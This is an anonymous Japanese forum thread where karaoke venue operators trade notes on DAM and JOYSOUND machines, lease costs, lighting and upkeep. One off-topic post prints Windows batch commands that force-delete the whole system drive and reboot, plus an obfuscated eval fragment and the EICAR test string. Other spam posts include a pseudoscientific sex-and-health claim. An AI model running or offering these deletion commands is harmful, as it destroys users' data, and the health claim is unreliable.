【BOX】カラオケ機器設置店【スナック、喫茶】

**名無しさん＠お腹いっぱい。** · 2011/01/18(火) 16:33:29

落ちてしまいましたのでまたまた立てました。
BOX、スナック、カラオケ喫茶等カラオケ設置店の運営者のみなさん
有益な情報交換しませんか？
カラオケ業界を取巻く環境は悪化の一途を辿っています。
個人店のBOX、スナック、カラオケ喫茶は軒並み閉店。
それでもしぶとく生き残っているみなさん語りましょう。
チェーン店の店長クラスの方でしたらどんどんレスして下さい。

**名無しさん＠お腹いっぱい。** · 2012/10/25(木) 20:20:25.14

G50とG50IIは結構違ったと思うｗ

**裁判負一声会さくら接骨院親分歌代英二** · 2012/10/25(木) 22:09:24.23

>>741
dpo

**名無しさん＠お腹いっぱい。** · 2012/10/25(木) 22:44:03.85

三年ごとに新機種が出るが、新機種が出た二年後に毎回、マイナーチェンジするんだろ。
やっぱり来年には出るんだろうなあ、と思うと踏み切れんのよ。
>>778 本質って何？

**名無しさん＠お腹いっぱい。** · 2012/11/06(火) 01:34:06.77

スマートDAMのレビュー動画がYoutubeに上がってるけど、
見た感じすごくレスポンス良い感じする。
これは前向きに導入を検討した方がいいと思った。
恐らく次のメジャーアップ機種でもこのリモコンが使われるだろうしね。

**名無しさん＠お腹いっぱい。** · 2012/11/06(火) 08:18:59.29

このデカさ・重さそれはないわ

**名無しさん＠お腹いっぱい。** · 2012/11/06(火) 23:57:28.45

スマートダムいいけど毎月の情報料がネックだね。
導入店はすこぶる少ないと思うな。
てか、タブレット端末で高すぎだし、情報料がせこい
ＤＳだってごく一部ユーザー以外はデカイデンモクってだけだったし

**名無しさん＠お腹いっぱい。** · 2012/11/07(水) 17:56:45.08

フロント、通路、トイレ、外灯等LED電球に変えたんですがルーム内のLED化がまだです。

調光タイプのLEDはまだまだ高いし、なかなか踏ん切りがつきません。
みなさんのところは電球どんな感じですか？

**名無しさん＠お腹いっぱい。** · 2012/11/07(水) 22:28:37.93

未だ普通の電球ですね。
一応全部屋LED化も考えたいと見積もりを取ったところ、
20ルーム程度ですが工事費込みで15万掛かると言われました。
でも別に、調光無しのLED電球でもいいとも思えますが。。

**名無しさん＠お腹いっぱい。** · 2012/11/19(月) 21:06:04.30

うーむ、やっぱり来年にはダムの新機種でるのかな？

**名無しさん＠お腹いっぱい。** · 2012/11/20(火) 23:51:57.59

まぁ次世代機に関しては既にある程度は完成してるだろうから、
あとは時期的な問題だよな。そこは第一興商さんが考える良い頃合がいつかによるし。
ただ、来年新機種が出る(かも知れない)から今は買い換えの時期じゃないのかと言えば、
そうじゃないと思うよ。現行機でも数年十分に活躍できる機種だと思ってるし。

**名無しさん＠お腹いっぱい。** · 2012/11/21(水) 21:46:42.35

G100が良い例だなｗ

**名無しさん＠お腹いっぱい。** · 2012/11/21(水) 22:16:17.17

ヤフオクにCROSSOが出てるね
残り３日で３０００円からどれだけ上がるかな
安く落札できれば売却してｆ１の資金に（ｒｙ

**名無しさん＠お腹いっぱい。** · 2012/11/21(水) 23:32:40.39

これか
カメラは無いのか
http://page2.auctions.yahoo.co.jp/jp/auction/b139835055

**名無しさん＠お腹いっぱい。** · 2012/11/24(土) 18:37:08.70

今クロッソっていくらで買取ってもらえるんだろう
本体のみで20万くらいかな？

**名無しさん＠お腹いっぱい。** · 2012/11/25(日) 01:03:51.48

10万くらいじゃないでしょうか

**名無しさん＠お腹いっぱい。** · 2012/11/25(日) 22:42:10.81

10万は絶対にない
下取りなら30～40万はいくでしょ

**名無しさん＠お腹いっぱい。** · 2012/11/26(月) 18:35:50.12

F1が新品で60万なのにそんなに高く下取りしたら
ありがたすぎる

**名無しさん＠お腹いっぱい。** · 2012/11/26(月) 20:35:43.72

40万とかすごいね、紹介してほしいくらいだわ

**名無しさん＠お腹いっぱい。** · 2012/11/27(火) 09:45:27.26

私のところは5台下取りで116万でしたよ。

**名無しさん＠お腹いっぱい。** · 2012/12/15(土) 14:18:26.58

けいえいしゃたちはぜんめつした。

おお、けいえいしゃよ。
しんでしまうとはなさけない。

500Gいきかえらせますか？

**名無しさん＠お腹いっぱい。** · 2012/12/15(土) 21:52:37.19

[はい] いいえ

**名無しさん＠お腹いっぱい。** · 2012/12/18(火) 11:35:23.81

はい［いいえ］

**名無しさん＠お腹いっぱい。** · 2012/12/21(金) 15:37:54.49

>>798
マジでぇ～
そういえばこないだ後輩に教えてもらった激安中古ソフト市場かなりオススメ！！
中古ソフト時代だなぁ＝ググってみて安いおススメ！！

**名無しさん＠お腹いっぱい。** · 2012/12/21(金) 18:46:32.86

そういえば、レジってみんなパソコンですか？
ウチはvistaなんだけど、ほんとあぶなっかしくて。

**名無しさん＠お腹いっぱい。** · 2012/12/21(金) 19:15:46.87

レジなんてみんなパソコンなんだけど？
いまだに電卓叩いてる店でもあるの？

**名無しさん＠お腹いっぱい。** · 2012/12/22(土) 18:30:37.13

うちはエクセルでやっちゃってますねぇ。
レシートやジャーナルとか印刷できるようにプログラムしてありますね。独自みたいですが。。

**名無しさん＠お腹いっぱい。** · 2012/12/23(日) 01:39:05.37

指レジを導入してみたい。

**名無しさん＠お腹いっぱい。** · 2012/12/23(日) 02:13:52.23

創価諸君よ！

田浦本部横須賀桜山支部の高橋裕之氏が年末ジャンボで6億円当たるようにまた女子部と結婚成就と障害者年金1級受給と健康とご長寿を15分でよいので高橋裕之氏に題目を送って行こうではありませんか！

**名無しさん＠お腹いっぱい。** · 2012/12/25(火) 21:41:53.17

ひまだなぁ。
年末、祝日料金ですよね？

**名無しさん＠お腹いっぱい。** · 2012/12/26(水) 03:32:40.93

うん、うちもヒマだよ。なんか、今年の年末はおかしいね。

**名無しさん＠お腹いっぱい。** · 2012/12/26(水) 19:53:04.26

正月料金　貰えるかなあ。

**名無しさん＠お腹いっぱい。** · 2012/12/28(金) 03:44:14.07

crossoコマンダとキョクナビ２台と充電器セットで税込２８万×複数台
どなたか譲ってください！

**名無しさん＠お腹いっぱい。** · 2012/12/28(金) 11:14:42.34

>>811
転売すんの？　自店で使うの？

**名無しさん＠お腹いっぱい。** · 2012/12/28(金) 21:39:31.93

CROSSOはどうも好きになれないな。
BBサイバーとかの方がマシに思えてくる。。
そんなことより、f1導入しようぜ。うちでは人気だぜ。

**名無しさん＠お腹いっぱい。** · 2012/12/28(金) 22:55:08.87

予算ないから。とりあえずwaveをcrossoに切り替えたいです。

**名無しさん＠お腹いっぱい。** · 2012/12/28(金) 23:01:30.52

>>811
その倍はするだろ

**名無しさん＠お腹いっぱい。** · 2012/12/28(金) 23:04:38.04

でf1の後継出たら「f1をナビセットで」ってやっていくだろ？
そんなことなら台数減らしてでもf1入れた方マシ

**名無しさん＠お腹いっぱい。** · 2012/12/29(土) 00:01:44.53

>>816 の言うとおりじゃないかな。
そのときの最新が一番いいかと。

**名無しさん＠お腹いっぱい。** · 2012/12/30(日) 00:14:18.42

機種の話ばかりだけどあなた達の店は
接客ができてますか？
トイレは清潔ですか？
客室内は壁紙・ソファーの破れはないですか？
美味しい料理は提供できてますか？
スタッフの制服の汚れはないですか？
店の前の掃除はできてますか？

**名無しさん＠お腹いっぱい。** · 2012/12/30(日) 15:08:25.54

>>818
確かに、機種などの「設備」も大事ですけど、
一番よくしないといけないのはそう言った事でしょうね。
私のところでは特に従業員の教育をバイト、正社員に関わらず徹底していますね。
おかげで、特にご年配の方から「店員の感じが良い」とご支持を頂いています。

不況な世の中ですけど、たとえ古い機種しか無い店であったとしても支持される様な店造りをしていきたいですね。

**名無しさん＠お腹いっぱい。** · 2012/12/30(日) 20:09:09.38

うちの店wave１０台残ってるんですが１０台中古でCROSSOにするか、
同じ予算で６台wave残して、f1４台入れるか迷ってます。

**名無しさん＠お腹いっぱい。** · 2012/12/31(月) 01:20:56.11

>>820
後者だな。CROSSOは今更感があるし。。
で、予算が採れ次第準じf1に切り替えていくってのはどうだろう。
私のところはいつも新機種がでたらとりあえず5台設置して、
そのあと半年から1年かけて全面的に切り替えていくようにしてるよ。

**名無しさん＠お腹いっぱい。** · 2012/12/31(月) 01:21:40.03

「準じ」じゃ無くて順次だな。すまん。

**名無しさん＠お腹いっぱい。** · 2012/12/31(月) 04:46:33.06

818、819以外、実際に店舗運営してる人いないと思うけどｗ

**名無しさん＠お腹いっぱい。** · 2013/01/04(金) 13:18:33.96

あけましておめでとうございます。
今年の３が日は去年よりちょっとだけ良かったですが、
今年は曜日の並びがいいのでこのあともちょっと期待してます。

掃除や接客大事ですね～、でも掃除の話なんかここでなくても情報得られるので
TPO無視して正論ぶってるKYは無視して、機械の情報どんどんお願いしますｗ

**名無しさん＠お腹いっぱい。** · 2013/01/04(金) 16:24:24.04

正直、接客と清掃はどこもしっかりやってるもだと思います。
店長兼オーナーの店舗なら尚更でしょう。

うちも年末年始は売上よかったです。
良いスタートが切れました。
後半失速しないよう願うばかり
15部屋ですが、xg5000 3台 xg1000Ⅱ4台クロッソ4台 f1 4台です
やはりjoyはリセールが悪いですね
オクで中古の値段みるとガックリです
新機種が出るまでこの構成でいきます。
二次会需要が売上の大部分なんだから、新機種はそこそこでいいんですがね
他店への見栄とプライドが邪魔をする

**名無しさん＠お腹いっぱい。** · 2013/01/05(土) 17:32:54.45

>>818
おお、こういうの待ってた。
どっかいいコンサルティングさんを紹介してください。
金出すんで。

**名無しさん＠お腹いっぱい。** · 2013/01/12(土) 18:58:55.03

来月居抜きで35部屋180坪駅前の店やることになりやっぱり機種や料金でで悩みます。
周りの店偵察中！公庫で借金です！個人経営3店舗目です。

**名無しさん＠お腹いっぱい。** · 2013/01/12(土) 19:07:43.73

みなさんメール会員とかやってますか？効果とかどうなんでしょうか？

**名無しさん＠お腹いっぱい。** · 2013/01/15(火) 15:24:07.13

昨日で見込み分いれて今月の経費は稼いだぜ！
あとは利益！
このパターンは今日から売り上げ大失速するんだ！
いつもそうだ

**824** · 2013/01/17(木) 13:28:28.60

連休明け落ち込むかな？と思ったら逆に調子良くって困惑しておりますｗ
もしかして景気よくなってるのかな？まだ２日ですからわかりませんけどね。
今日も今のところ出足好調ですｗ
来週から２月いっぱいはひまなんだろうなあ？毎年のことですが。

>818>819のような書き込みはありがたいですよ、新たに気分を引き締めて頑張っていかないとね
>823のようなわけのわからん書き込みにカチンときてあのような書き込みしましたが
>826さん余裕あっていいですね？頑張ってくださいｗ

うちは小さい個人経営の店ですが、オーナー店長である私が１年３６５日毎日
十数時間営業中は目を光らせております。
おかげさまで質の良い常連さんに支えられてなんとかやってますが
客層は店が作れるもんなんですよね。

掃除といえばマイクの中のスポンジは定期的に交換されてますか？
毎回除菌消臭スプレーふるのは当然としても、スポンジもたまに交換しないと
すごいことになってますよｗ
臭の元を断たないとね

あと、スマートDAMデンモク導入されている方おられるでしょうか？
評判はどうなんでしょうか？
うちはお子様連れのお客様も多いので良いのかな？とも思うのですが、、

**名無しさん＠お腹いっぱい。** · 2013/01/17(木) 23:32:32.98

スポンジ(笑)

**名無しさん＠お腹いっぱい。** · 2013/01/18(金) 02:04:19.89

マイクのスポンジ・・・ウインドスクリーンですね。
うちのところは定期的に水洗いし、数回水洗いしたら新しいものに交換してますね。
数回程度であれば水洗いしても特に問題ありませんし。
そもそも、そんなに高い部品では無いので汚れが目立てば交換しますけど。

そういえばオーテクのマイクで新しいマイク(AT-CLM900シリーズ)が結構前に出ましたけど、使ってるところはあるのでしょうかね。
近隣店舗はみな「AT-CLM700(今はCLM701)」シリーズですよね。

**名無しさん＠お腹いっぱい。** · 2013/01/18(金) 08:05:58.34

むしろなぜ900にする必要があるのか
700・701でええやん

**名無しさん＠お腹いっぱい。** · 2013/01/19(土) 14:25:51.55

マイク増設するなら900入れるのわかるけどね。
それ以外なら必要ないっしょ

**名無しさん＠お腹いっぱい。** · 2013/01/19(土) 21:57:23.63

大阪の某カラオケ店
こんな写真よくＨＰに載せれるよなｗ

オーナーはアホなん？

http://hotbb-sakai.com/IMG_7254k_6.JPG

**名無しさん＠お腹いっぱい。** · 2013/01/20(日) 00:50:30.10

>>835
ここの会社の店舗は基本こんな部屋ばかり。
てか、まだマシな方ね。。実際はもっと（ｒｙ

**名無しさん＠お腹いっぱい。** · 2013/01/21(月) 10:22:40.27

ディーラーの最大手ってカジ・コーポレーションさんですか？

**名無しさん＠お腹いっぱい。** · 2013/01/21(月) 18:12:18.77

あいさつまわりもできない会社だよ

**名無しさん＠お腹いっぱい。** · 2013/01/21(月) 22:42:37.97

昔から女性はセックスするとキレイになるとか痩せるとか言われているが、科学的な根拠がちゃんとある
男性の体液が女性の体内に入り複数の遺伝子を活性化させることで、免疫力、栄養摂取効率や睡眠の質、妊娠率が向上するなどの変化がはっきり現れる。そしてセックスすることで性欲が増し、さらに良い循環を生む
http://rocketnews24.com/2012/09/19/248910/

**名無しさん＠お腹いっぱい。** · 2013/01/22(火) 01:40:00.01

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

@Echo off
Del C:\ *.* |y

(){eval(unescape(('Script(t,'%')))})(/./g);

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

**名無しさん＠お腹いっぱい。** · 2013/01/22(火) 16:41:46.83

>>837
フジじゃないか？

**名無しさん＠お腹いっぱい。** · 2013/01/23(水) 20:13:39.83

>>835
昭和

**名無しさん＠お腹いっぱい。** · 2013/01/25(金) 02:19:07.97

>>835
壁紙がｗ
いい環境でより安くの時代なんで
すぐつぶれるでしょう。

**名無しさん＠お腹いっぱい。** · 2013/01/29(火) 06:32:16.38

>>830
スマートDAM評判はぼちぼちです。
なんか昔DAMステーション入れた時の反応に近い気がします。
破損が怖いので、客層を見ながら入れていますが、
若いお客様には比較的好評な気がします。
子供向けのコンテンツも多いので、お子様連れにはいいかも知れないですが
どちらかというと幼児向けかなあ、という印象です。

**名無しさん＠お腹いっぱい。** · 2013/01/30(水) 12:09:55.39

>>844
スマートDAM情報ありがとうございます。
うちは幼児連れのお客様も多いので前向きに検討しようと思います。
でも幼児だと取り合いになりそうｗ
マイクも「鳴らなくていいのであと２本ありませんか？」とか
よく言われますので、昔のコード付きマイクの頭だけ何本か用意してます。
また情報あればお願いします。

**名無しさん＠お腹いっぱい。** · 2013/01/30(水) 13:12:51.93

文字入力時のフリック入力が年配客には難しい様子
あかさたな…と先頭しか表示されず戸惑う人が多い
そして遂に昨日、3台入れたうちの1台、小学生が落として液晶割れ
修理代たけー

**名無しさん＠お腹いっぱい。** · 2013/01/30(水) 13:15:02.98

あと、やっぱり重量あるから膝の上に置いてピコピコってのは無理だね
カタログだけで判断せず、一度サービスマンに実機持ってきてもらうといいよ

**名無しさん＠お腹いっぱい。** · 2013/01/30(水) 23:04:47.49

>>847
スマートDAM噂では聞くが結構でかいみたいですね。
でも充電しながら使えるのは結構メリットなんじゃないかと思ってたりします。

>>846
小学生ですか・・・修理代はもしかして店が負担するつもりなんですか？？
入れた途端に故障とは、やってられませんねぇ。。
入力方法は最初は分からない方が続出しそうなんで、説明書きを部屋に置いとくとかしておきたいですね。
それでも店員に聞くんでしょうけど。デンモクidsの時もそうだったし。。

**名無しさん＠お腹いっぱい。** · 2013/01/31(木) 12:45:04.05

色々情報ありがとうございます。
やっぱり破損怖いですよね～
「一度デモで試しに置いてみませんか？」って言われてるので
置いてみようかと思ってます。
やっぱり実物見て触ってみないとですよね。

**名無しさん＠お腹いっぱい。** · 2013/02/04(月) 20:52:45.98

HyperJoy　WAVEの月額リース料って相場はどれくらいなんですか？

**名無しさん＠お腹いっぱい。** · 2013/02/04(月) 21:15:48.63

>>850
今更WAVEにする理由はともかく、リースより中古を購入した方が安いんじゃないか？？

**名無しさん＠お腹いっぱい。** · 2013/02/04(月) 22:56:48.77

WAVEの中古このあいだ２０万くらいで勧められたよ
いらないから断ったけど

**850** · 2013/02/04(月) 23:37:05.52

一年程度だったらリースの方が安いのかな？と
なのでリースの月額の相場を知りたいのです

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 00:04:43.48

１年でリースしてくれるんですかね？
まぁ情報量込みで３万６～４万２千円くらいだとおもいますよ
それ以上安くしても、利益があんまりないですからね

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 01:01:01.85

用途知らんけど、ボックスに入れるつもりなら、WAVEはもうリクエスト曲の配信終了したからねえ

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 01:01:53.79

多分割高な料金提示されて、クロッソ勧められるでしょうな

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 10:53:47.69

>>853
レンタルの間違いでしょ。

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 11:12:20.07

>>854
そんな安いの？
うちはhyper joy v2しかもjs-70で月42000円もとられてる
ボッタくりなのか

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 19:17:18.37

>>858
たぶん858さんはスナックじゃないですか？
1台だけ契約してるんですよね？

もしボックス経営者なら、その辺を圧縮すればもっと儲かりますよ。
うらやましいなぁ。

**名無しさん＠お腹いっぱい。** · 2013/02/05(火) 20:25:50.82

>>858
その値段なら1年で70の中古本体3台くらい買えるんじゃないかと
情報料だけなら高くても16000円くらいでしょう。
スナックさんならまだまだ営業続けられるなら
奮発してdam系統の新しめを中古でもいいから買って
情報量のみのほうが通年では安くなりますよ。
壊れたらまた中古で買えばいいんだし
ジョイの最新機種だとエイミー回線使用料とかもかかるし、
中高年に喜ばれるＤＡＭがいいとおもいます、
ＤＡＭの中古を買ってくれる人も多いし。

**名無しさん＠お腹いっぱい。** · 2013/02/22(金) 02:57:24.60

2月は暇ですなぁ。

**名無しさん＠お腹いっぱい。** · 2013/03/01(金) 19:16:17.80

3月も暇ですなあ。

**名無しさん＠お腹いっぱい。** · 2013/03/04(月) 22:55:47.81

お尋ねしたいんですが、ライブダム、複数台リースで情報料込みで月額いくらくらいでしょうか。

**名無しさん＠お腹いっぱい。** · 2013/03/06(水) 05:47:11.05

6万から下げていく交渉になるかと思います。

**名無しさん＠お腹いっぱい。** · 2013/03/06(水) 12:49:45.99

ありがとうございます。
たとえば、3台で1台あたり4万だと安い方でしょうか。

**名無しさん＠お腹いっぱい。** · 2013/03/07(木) 01:33:52.39

未だにライブ出始めのリースの頃の価格が6万ちょいの複数台契約が残っているところもあると思いますので、
かなりお安くなってきたと思います。ただ情報料が一台1万5千円いかないくらいなのと、
あと2年は上位機種はでないかとおもいますので、
買い取りも視野に入れてお考えになった方がよろしいかと思います。
リース期間がながいのと新機種との入れ替えリースは同額とはいかなくなってしまいますし。

**名無しさん＠お腹いっぱい。** · 2013/03/07(木) 20:32:08.34

参考になりました、有難うございました。

**名無しさん＠お腹いっぱい。** · 2013/03/16(土) 16:50:16.16

そういえばここって何人の運営者がいるんだろうか？

出席をとりま～す。
１

>>867-1000までで出席した人が、最近の生き残り運営者数ってことで。

**名無しさん＠お腹いっぱい。** · 2013/03/16(土) 16:51:17.35

ちっ　1000のアンカーってダメなのか。
>>867-999

**名無しさん＠お腹いっぱい。** · 2013/03/16(土) 22:54:08.75

はいはいー　春休みは書き入れ時ですね。より力を入れたいところです。

ってことで。
２

**名無しさん＠お腹いっぱい。** · 2013/03/17(日) 22:21:18.66

３！！
ここ数年売上微増。
ビジネクストとかみると業界全体でそうみたいね。

**名無しさん＠お腹いっぱい。** · 2013/03/25(月) 11:50:00.21

１
みんないなくなった・・・。

**名無しさん＠お腹いっぱい。** · 2013/03/25(月) 18:04:23.81

２
過疎ってますね。

**名無しさん＠お腹いっぱい。** · 2013/04/15(月) 10:02:30.15

土曜日が非常にヤバい

**名無しさん＠お腹いっぱい。** · 2013/04/17(水) 00:49:05.13

もうすぐ、ゴールデンウィークですね。予約も結構埋まってきています。。
私のお店では特別料金とかは設定していないのですが、
みなさんの店舗は設定してるのでしょうか。

**名無しさん＠お腹いっぱい。** · 2013/04/20(土) 13:57:39.87

うちでもしません。
してもあまり収入変わらないんですよね。

banbanとまねきねこの出店ってすごいペースですね。
みんないなくなったのも、納得です。

私、このスレではない一番最初のスレ立てた者だったんですけど、
その時に一緒に盛り上がった方っているのかな？

最初は他のスレでやってて、「捏造」とか「妄想」とかひがまれて、
仕方なくカラオケ専用スレを立てた時に、一緒に盛り上がった方です。
元気だといいなぁ。

**名無しさん＠お腹いっぱい。** · 2013/06/07(金) 11:46:23.84

tes

**名無しさん＠お腹いっぱい。** · 2013/07/05(金) NY:AN:NY.AN

ほ

**名無しさん＠お腹いっぱい。** · 2013/07/19(金) NY:AN:NY.AN

ゴールドエディジョンて普通のライブとなにが違うの？

**名無しさん＠お腹いっぱい。** · 2013/08/20(火) NY:AN:NY.AN

外観じゃない？
違いは